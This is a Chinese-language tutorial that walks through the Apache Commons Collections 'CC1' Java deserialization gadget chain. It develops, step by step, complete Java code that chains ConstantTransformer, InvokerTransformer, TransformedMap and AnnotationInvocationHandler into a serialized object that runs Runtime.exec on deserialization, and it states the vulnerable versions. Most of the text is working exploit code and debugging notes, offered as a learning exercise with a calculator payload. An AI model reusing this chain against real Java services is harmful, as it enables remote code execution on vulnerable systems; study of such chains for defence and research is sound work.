CC1 链分析
背景
Apache Commons为Apache软件基金会的一个项目,Commons
的目的为提供可重用,解决实际通用问题的代码
Commons Collections
为Java标准的Collection
进行了补充,以此为基础,对数据结构操作进行了封装,抽象和补充
链子分析
在链式命令执行的学习中,学习了利用InvokerTransformer
实现任意命令执行,其POC为
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1 {
public static void main(String[] args) throws Exception {
InvokerTransformer calc = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
calc.transform(Runtime.getRuntime());
}
}
这里成功实现任意命令调用,因此下一步需要找到哪个方法实现了InvokerTransformer()
方法
跟进InvokerTransformer
方法,右键查看方法
这里可以发现共有20来处方法,大致进行扫描一下,选择要求为:能够实现序列化,参数类型广泛,方法名不是transform()
(无法跳到其他类中)
这里发现transformedMap()
类存在三处对transform
进行调用
进入其中的checkSetValue
方法,代码如下
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这里调用了valueTransformer
下的transform
查找该类的构造函数,代码如下
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
首先,其修饰类型为procted
方法,接受一个Map类型的参数,然后将key和value进行赋值,在本类中继续进行加工处理
由于修饰类型限制,还需要找到一个方法对该构造函数进行调用
发现存在decorate()
方法对其进行调用,具体代码为:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
根据以上分析,编写调用链
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
public class CC1 {
public static void main(String[] args) throws Exception {
InvokerTransformer calc = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
TransformedMap.decorate(map,null,calc);//通过TransformedMap的decorate方法调用构造函数。等效于calc.transform(value)(value后续进行控制)
}
}
这一步编写完成后,若transform中的value为Runtime.getRuntime()
,即等同于了这篇文章最初的POC,因此下一步寻找的就是如何控制这个value
查看何处调用checkSetValue
方法
发现在AbstractInputCheckedMapDecorator
的子类MapEntry
下的setValue
方法进行调用,(AbstractInputCheckedMapDecorator 也是 TransformedMap 的父类)
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
关于MapEntry
的说明:Map的作用为存放键值对,在HashMap中一对k-v存在在HashMap$Node中。在Node下又实现了Entry接口,所以可以粗略认为k-v存放在Entry中。在遍历Map时,可以通过entrySet方法获得一对一对的k-v(Map.Entry类型),因此通过setValue()传入Runtime.getRunrime()就可以弹计算器
通常遍历数组的写法为:
for(Map.Entry entry:map.entrySet()){
entry.getValue();
}
因此,这里在遍历数组时进行调用setValue,就能成功将以上链子给成功串联起来,传入Runtime.getRuntime
整体代码为:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
InvokerTransformer calc = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
map.put("key","value");
Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,calc);//通过TransformedMap的decorate方法调用构造函数。等效于calc.transform(value)(value后续进行控制)
for(Map.Entry entry:transformaedMap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}
}
效果如图:
因此这里总结理清下一步思路:需要找到一个遍历数组的地方,并且调用了setValue
方法,那么就可以达到任意命令执行
继续寻找哪里调用了setValue()
方法
这里直接找到一个在reandObject()
方法下调用了setValue
方法
整体代码如下:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //调用setValue
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
在最后遍历map时候成功调用setValue
方法
首先这个类的名字为:AnnotationInvocationHandler
,是一个动态代理过程中的处理器类,其构造函数为:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
接受一个名为Type的Class对象(Annotion为注解,例如重写时的@overide),和一个Map类型的memberValues,可以被控制(实例化传入),这里没有写修饰符,默认为default,只能在对应包下调用,因此这里也需要使用反射进行调用,具体代码如下:
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
Constructor<?> annotationInvocationhdl = c.getConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
annotationInvocationhdl.setAccessible(true);//设置为可以访问
Object forMap = annotationInvocationhdl.newInstance(Override.class,transformaedMap);//实例化完成
但这里还没有传入getRuntime()
方法,且Runtime本身并没有继承java.io.Serializable
,因此无法直接进行反序列化,但是Class可以进行反序列化,所以还需要依靠反射完成反序列化
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);//无参调用
Runtime r = getRuntimeMethod.invoke(null,null);//静态调用,无参,因此两个null
改写成为InvokerTransformer
形式:
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Rumtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[null,null]).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}.transform(r));
这里后一个调用前一个,因此可以利用在链式命令执行中的ChainedTransformer
,具体写法如下:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
//进行调用,只需要传入第一次调用时的参数
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
成功执行
证明ChaniedTransformer构造成功,删除或注释掉chainedTransformer.transform(Runtime.class);
这里传入的Runtime.getRumtime对象
恢复之前写的反射调用annotation.AnnotationInvocationHandler
,并执行序列化和反序列化
整体代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
//进行调用,只需要传入第一次调用时的参数
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
map.put("key","value");
Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
Constructor<?> annotationInvocationhdl = c.getDeclaredConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
annotationInvocationhdl.setAccessible(true);//设置为可以访问
Object forMap = annotationInvocationhdl.newInstance(Override.class,transformaedMap);//实例化完成
Serialize.serialize(forMap);
Unserialize.unserialize("ser.bin");
}
}
Serialize.java
:
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Serialize {
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
oos.writeObject(object);
}
}
Unserialize.java
:
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Unserialize {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
再次运行代码,发现无法达到命令执行的效果(无法弹出计算器)运行截图:
判断无法执行的原因:
-
在
AnnotationInvocationHandler
下的Map遍历调用setValue()
方法的过程中,存在if判断,if判断没过,无法进入for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
- setValue出现问题,setValue并不是直接传入Rumtime对象
在第一个if处打上断点,进入调试
这里首先获取Type,然后获取Type的成员方法,因此这里需要传一个有成员方法的class,所创建的数组的key为该成员方法的名字
第一个if为:若该键名与注解示例的某个方法名相同,则获取该键名的值
第二个if为:若注解示例防火阀的返回类型不是键名对应的值时ExceptionProxy的实例,则修改键名对应的值
因此需要首先利用一个存在方法的注解,可以找到一个Target,存在一个方法
调试会发现
这里将key获取到,然后再注解中寻找key
这个参数,但是注解中并不存在,因此这里无法为true,因此这里需要在最开始想map中出入数据时,将键的值改为value
此时的代码为:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
//进行调用,只需要传入第一次调用时的参数
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
map.put("value","value");
Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
Constructor<?> annotationInvocationhdl = c.getDeclaredConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
annotationInvocationhdl.setAccessible(true);//设置为可以访问
Object forMap = annotationInvocationhdl.newInstance(Target.class,transformaedMap);//实例化完成
Serialize.serialize(forMap);
Unserialize.unserialize("ser.bin");
}
}
此时再进行调试,发现成功进入第一个if
第二个if判断二者是否能够进行强制转化,这里无法进入也能够成功进入
继续调试,步入setValue
,后再跟进找到
这里的
valueTransformer.transform(value)
和之前写的
ChainedTransformer。transform(Runtime.class)
二者等效,因此只需要将这里的value改为Runtime.class
即可完成链子的最后一点
根据链式命令执行学习,这里只需要在ChainedTransformer中的最开始补上ConstantTransformer
就可以实现(将输入对象转换为预先指定的常量值。由创建时通过构造器进行传入)将返回的常量设置为Runtime.class
调试发现这里成功变为RUNTIME
此时再进行执行,成功弹出计算器!
附上完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
//进行调用,只需要传入第一次调用时的参数
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
map.put("value","value");
Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
Constructor<?> annotationInvocationhdl = c.getDeclaredConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
annotationInvocationhdl.setAccessible(true);//设置为可以访问
Object forMap = annotationInvocationhdl.newInstance(Target.class,transformaedMap);//实例化完成
Serialize.serialize(forMap);
Unserialize.unserialize("ser.bin");
}
}
利用条件:
Commons-Collections <= 3.2.1,
jdk<8u71
过程总结
首先将Transformer接口的视线类InvokerTransformer作为执行类,其中的transform()方法通过反射获取传入对象的方法,若为public,则进行调用,其中的对象,方法名,参数类型,参数都类型广泛,完全可控。因此可以调用任意对象的任意方法。
然后利用TransformedMap
下的checkSetvalue
方法嗲用transform
,而 checkSetvalue()会在 AbstractInputCheckedMapDecorator 的静态内部类 MapEntry 的 setValue()中调用TransformedMap 继承自 AbstractInputCheckedMapDecorator,所以前面通过遍历 TransformedMap 得到 Map.Entry 再调用 setValue()就会弹计算器。在 AnnotationInvocationHandler 的 readObject()方法中若满足一定条件会调用 setValue() 方法。